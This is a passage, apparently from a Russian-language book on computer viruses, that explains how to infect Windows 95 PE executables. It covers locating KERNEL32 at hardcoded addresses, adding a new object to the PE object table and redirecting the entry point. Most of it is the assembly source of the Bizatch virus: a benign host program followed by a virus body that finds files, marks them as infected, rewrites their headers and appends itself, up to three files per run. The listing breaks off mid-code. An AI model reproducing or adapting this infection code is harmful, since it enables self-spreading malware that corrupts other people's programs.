Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

-8

Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL−модуля

LPCSTR lpszProc // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:

push offset lpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.

Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для вычисления его полного размера.

3. Считать весь PE-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный PE-заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat,STDCALL

include win32.inc ;некоторые 32−битные константы и структуры

L equ <LARGE>

;Определим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess:PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn InvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadIconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

LoadIcon equ <LoadIconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

.data

newhwnd dd 0

lppaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

wc WNDCLASS <?>

mbx_count dd 0

hInst dd 0

szTitleName db ”Bizatch by Quantum / VLAD activated”

zero db 0

szAlternate db ”more than once”,0

szClassName db ”ASMCLASS32”,0

;Сообщение, выводимое в окне

szPaint db ”Left Button pressed:”

s_num db ”00000000h times.”,0

;Размер сообщения

MSG_L EQU ($−offset szPaint)−1

.code

;Сюда обычно передается управление от загрузчика.

start:

;Получим HMODULE

push L 0

call GetModuleHandle

mov [hInst],eax

push L 0

push offset szClassName

call FindWindow

or eax,eax

jz reg_class

;Пространство для модификации строки заголовка

mov [zero],” ”

reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hInst]

mov [wc.clsHInstance], eax

;Загружаем значок

push L IDI_APPLICATION

push L 0

call LoadIcon

mov [wc.clsHIcon], eax

;Загружаем курсор

push L IDC_ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

;Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clsLpszClassName],offset szClassName

;Регистрируем класс окна

push offset wc

call RegisterClass

;Создаем окно

push L 0 ;lpParam

push [hInst] ;hInstance

push L 0 ;Меню

push L 0 ;hwnd родительского

окна

push L CW_USEDEFAULT ;Высота

push L CW_USEDEFAULT ;Длина

push L CW_USEDEFAULT ;Y

push L CW_USEDEFAULT ;X

push L WS_OVERLAPPEDWINDOW ;Style

push offset szTitleName ;Title Style

push offset szClassName ;Class name

push L 0 ;extra style

call CreateWindowEx

;Сохраняем HWND

mov [newhwnd], eax

;Отображаем окно на экране

push L SW_SHOWNORMAL

push [newhwnd]

call ShowWindow

;Обновляем содержимое окна

push [newhwnd]

call UpdateWindow

;Очередь сообщений

msg_loop:

;Прочитаем следующее сообщение из очереди

push L 0

push L 0

push L 0

push offset msg

call GetMessage

;Если функция GetMessage вернула нулевое значение, то завершаем

;обработку сообщений и выходим из процесса

cmp ax,0

je end_loop

;Преобразуем виртуальные коды клавиш в сообщения клавиатуры

push offset msg

call TranslateMessage

;Передаем это сообщение назад в Windows

push offset msg

call DispatchMessage

;Переходим к следующему сообщению

jmp msg_loop

;Выход из процесса

end_loop:

push [msg.msWPARAM]

call ExitProcess

;Обработка сообщений окна. Win32 требует сохранения регистров

;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.

;Это позволит Ассемблеру сохранить их

WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:

DWORD, lparam:DWORD

LOCAL theDC:DWORD

;Проверим, какое сообщение получили, и перейдем к обработке

cmp [wmsg],WM_DESTROY

je wmdestroy

cmp [wmsg],WM_RBUTTONDOWN

je wmrbuttondown

cmp [wmsg],WM_SIZE

je wmsize

cmp [wmsg],WM_CREATE

je wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je wmlbuttondown

cmp [wmsg],WM_PAINT

je wmpaint

cmp [wmsg],WM_GETMINMAXINFO

je wmgetminmaxinfo

;Данная программа не обрабатывает это сообщение.

;Передадим его Windows,

;чтобы оно было обработано по умолчанию

jmp defwndproc

;Сообщение WM_PAINT (перерисовать содержимое окна)

wmpaint:

;Подготовим окно для перерисовки

push offset lppaint

push [hwnd]

call BeginPaint

mov [theDC], eax

;Переведем в ASCII−формат значение mbx_count, которое

;показывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbx_count]

mov edi, offset s_num

call HexWrite32

;Вывод строки в окно

push L MSG_L ;Длина строки

push offset szPaint ;Строка

push L 5 ;Y

push L 5 ;X

push [theDC] ;DC

call TextOut

;Обозначим завершение перерисовки окна

push offset lppaint

push [hwnd]

call EndPaint

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение WM_CREATE (создание окна)

wmcreate:

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение, не обрабатываемое данной программой, передаем Windows

defwndproc:

push [lparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc

;Выходим из обработки сообщения

jmp finish

;Сообщение WM_DESTROY (уничтожение окна)

wmdestroy:

;Закроем поток

push L 0

call PostQuitMessage

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение WM_LBUTTONDOWN (нажата левая кнопка мыши)

wmlbuttondown:

inc [mbx_count]

;Обновим содержимое окна

push L 0

push L 0

push [hwnd]

call InvalidateRect

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)

wmrbuttondown:

push L 0

call MessageBeep

;Выходим из обработки сообщения

jmp finish

;Сообщение WM_SIZE (изменен размер окна)

wmsize:

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение WM_GETMINMAXINFO (попытка изменить размер

;или положение окна)

wmgetminmaxinfo:

;Заполним структуру MINMAXINFO

mov ebx, [lparam]

mov [(MINMAXINFO ptr ebx).mintrackposition_x],350

mov [(MINMAXINFO ptr ebx).mintrackposition_y],60

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Выходим из обработки сообщения

finish:

ret

WndProc endp

;Процедура перевода байта в ASCII−формат для печати. Значение,

;находящееся в регистре AL, будет записано в ASCII−формате

;по адресу ES:EDI

HexWrite8 proc

;Разделяем байт на полубайты и загружаем их в регистры AH и AL

mov ah,al

and al,0Fh

shr ah,4

;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды

;соответствующих символов ASCII. Если число,

;записанное в полубайте, было больше 9,

;то значение в этом полубайте надо еще корректировать

or ax,3030h

;Меняем полубайты местами, чтобы регистр AH содержал младший

;полубайт, а регистр AL – старший

xchg al,ah

;Проверим, надо ли корректировать младший полубайт,

;если да – корректируем

cmp ah, 39h

ja @@4

;Проверим, надо ли корректировать старший полубайт,

;если да – корректируем

@@1:

cmp al,39h

ja @@3

;Сохраним значение по адресу ES:EDI

@@2:

stosw

ret

;Корректируем значение старшего полубайта

@@3:

sub al, 30h

add al, ”A”–10

jmp @@2

;Корректируем значение младшего полубайта

@@4:

sub ah, 30h

add ah, ”A”–10

jmp @@1

HexWrite8 endp

;Процедура перевода слова в ASCII−формат для печати.

;Значение, находящееся в регистре AX, будет записано

;в ASCII−формате по адресу ES:EDI

HexWrite16 proc

;Сохраним младший байт из стека

push ax

;Загрузим старший байт в регистр AL

xchg al,ah

;Переведем старший байт в ASCII−формат

call HexWrite8

;Восстановим младший байт из стека

pop ax

;Переведем младший байт в ASCII−формат

call HexWrite8

ret

HexWrite16 endp

;Процедура перевода двойного слова в ASCII−формат для печати.

;Значение, находящееся в регистре EAX, будет записано

;в ASCII−формате по адресу ES:EDI

HexWrite32 proc

;Сохраним младшее слово из стека

push eax

;Загрузим старшее слово в регистр AX

shr eax, 16

;Переведем старшее слово в ASCII−формат

call HexWrite16

;Восстановим младшее слово из стека

pop eax

;Переведем младшее слово в ASCII−формат

call HexWrite16

ret

HexWrite32 endp

;Сделаем процедуру WndProc доступной извне

public WndProc

ends

;Здесь начинается код вируса. Этот код переписывается из файла

;в файл. Все вышеописанное – всего лишь программа−носитель

vladseg segment para public ”vlad”

assume cs:vladseg

vstart:

;Вычислим текущий адрес

call recalc

recalc:

pop ebp

mov eax,ebp

db 2Dh ;Код команды SUB AX

subme dd 30000h+(recalc−vstart)

;Сохраним адрес в стеке

push eax

;Вычислим стартовый адрес вирусного кода

sub ebp,offset recalc

;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

mov eax,[ebp+offset kern2]

;Проверим ключ. Если ключа нет, перейдем к точке 1

cmp dword ptr [eax],5350FC9Ch

jnz notkern2

;KERNEL найден, точка 2

mov eax,[ebp+offset kern2]

jmp movit

;Точка 2 не подошла, проверим точку 1

notkern2:

;Возьмем адрес первой известной нам точки KERNEL

mov eax,[ebp+offset kern1]

;Проверим ключ, если ключа нет – выходим

cmp dword ptr [eax],5350FC9Ch

jnz nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX

movit:

;Сохраним адрес KERNEL

mov [ebp+offset kern],eax

cld

;Запомним текущую директорию

lea eax,[ebp+offset orgdir]

push eax

push 255

call GetCurDir

;Инициализируем счетчик заражений

mov byte ptr [ebp+offset countinfect],0

;Ищем первый файл

infectdir:

lea eax,[ebp+offset win32_data_thang]

push eax

lea eax,[ebp+offset fname]

push eax

call FindFile

;Сохраним индекс для поиска

mov dword ptr [ebp+offset searchhandle],eax

;Проверим, найден ли файл. Если файл не найден,

;меняем директорию

cmp eax,–1

jz foundnothing

;Откроем файл для чтения и записи

gofile:

push 0

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3 ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax,[ebp+offset fullname]

push eax

call CreateFile

;Сохраним описатель файла

mov dword ptr [ebp+offset ahand],eax

;Проверим, не произошла ли ошибка.

;Если ошибка произошла, ищем следующий файл

cmp eax,–1

jz findnextone

;Поставим указатель позиции чтения/записи на поле

;со смещением PE−заголовка

push 0

push 0

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем адрес PE−заголовка

push 0

lea eax,[ebp+offset bytesread]

push eax

push 4

lea eax,[ebp+offset peheaderoffset]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера

;PE−заголовка и таблицы объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push 58h

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Проверим сигнатуру. Если ее нет, закрываем

;этот файл и ищем следующий

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

;Проверим файл на зараженность. Если файл заражен,

;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],0F00Dh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем весь PE−заголовок и таблицу объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],0F00Dh

;Найдем смещение таблицы объектов

xor eax,eax

mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax

;Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax,eax

mov ax,[ebp+offset numObj]

mov ecx,40

xor edx,edx

mul ecx

add esi,eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi,esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта

mov eax,[edi−5*8+8]

add eax,[edi−5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vend−vstart

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим виртуальный размер нового объекта

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend–vstart+1000h

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физическое смещение нового объекта

mov eax,[edi−5*8+20]

add eax,[edi−5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим размер образа (размер в памяти) файла

mov eax,vend−vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx,[ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd

;Вычислим точку входа RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax,ebx

add eax,5

;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем PE−заголовок и таблицу объектов в файл

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта

push 0

push 0

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем тело вируса в новый объект

push 0

lea eax,[ebp+offset bytesread]

push eax

push vend−vstart

lea eax,[ebp+offset vstart]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Закроем файл

notape:

push dword ptr [ebp+offset ahand]

call CloseFile

;Переход к следующему файлу

findnextone:

;Проверим, сколько файлов заразили: если 3,

;то выходим, если меньше – ищем следующий

cmp byte ptr [ebp+offset countinfect],3

jz outty

;Ищем следующий файл

lea eax,[ebp+offset win32_data_thang]

push eax

push dword ptr [ebp+offset searchhandle]

call FindNext

;Если файл найден, переходим к заражению

or eax,eax

jnz gofile

;Сюда попадаем, если файл не найден